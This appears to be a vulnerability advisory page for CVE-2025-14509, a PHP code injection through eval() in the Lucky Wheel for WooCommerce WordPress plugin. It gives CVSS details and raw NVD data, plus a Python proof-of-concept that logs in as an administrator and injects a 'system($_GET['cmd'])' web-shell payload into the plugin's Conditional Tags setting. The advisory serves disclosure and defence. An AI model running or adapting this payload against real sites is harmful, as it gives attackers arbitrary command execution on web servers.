Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-14509 CVSS 7.2 HIGH

CVE-2025-14509

Published: 2025-12-30 12:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the 'Conditional Tags' setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Lucky Wheel for WooCommerce plugin <= 1.1.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-14509 PoC - Lucky Wheel for WooCommerce PHP Code Injection # Authentication required: Administrator or higher import requests import re target_url = "http://target-wordpress-site.com" username = "admin" password = "password" # Step 1: Login to WordPress session = requests.Session() login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Inject PHP code via Conditional Tags setting # The plugin uses eval() on this setting without sanitization plugin_settings_url = f"{target_url}/wp-admin/admin.php?page=woo-lucky-wheel" # PHP code injection payload - executes system command malicious_payload = "1;system($_GET['cmd']);" settings_data = { "woo_lucky_wheel_conditional_tags": malicious_payload, "woo_lucky_wheel_save_settings": "Save" } session.post(plugin_settings_url, data=settings_data) # Step 3: Trigger the vulnerability by visiting the wheel page wheel_url = f"{target_url}/shop" # Command execution: ?cmd=whoami cmd_url = f"{target_url}/?cmd=whoami" response = session.get(cmd_url) print("PoC executed. Check response for command output.") print(f"Vulnerable parameter: woo_lucky_wheel_conditional_tags") print(f"Injection point: Plugin uses eval() on Conditional Tags setting")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14509", "sourceIdentifier": "[email protected]", "published": "2025-12-30T12:15:44.743", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Lucky Wheel for WooCommerce – Spin a Sale plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 1.1.13. This is due to the plugin using eval() to execute user-supplied input from the 'Conditional Tags' setting without proper validation or sanitization. This makes it possible for authenticated attackers, with Administrator-level access and above, to execute arbitrary PHP code on the server. In WordPress multisite installations, this allows Site Administrators to execute arbitrary code, a capability they should not have since plugin/theme file editing is disabled for non-Super Admins in multisite environments."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woo-lucky-wheel/tags/1.1.13/frontend/frontend.php#L127", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woo-lucky-wheel/trunk/frontend/frontend.php#L127", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3428063/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9a41bc0e-0ab9-4cee-b3ca-d730c828782c?source=cve", "source": "[email protected]"}]}}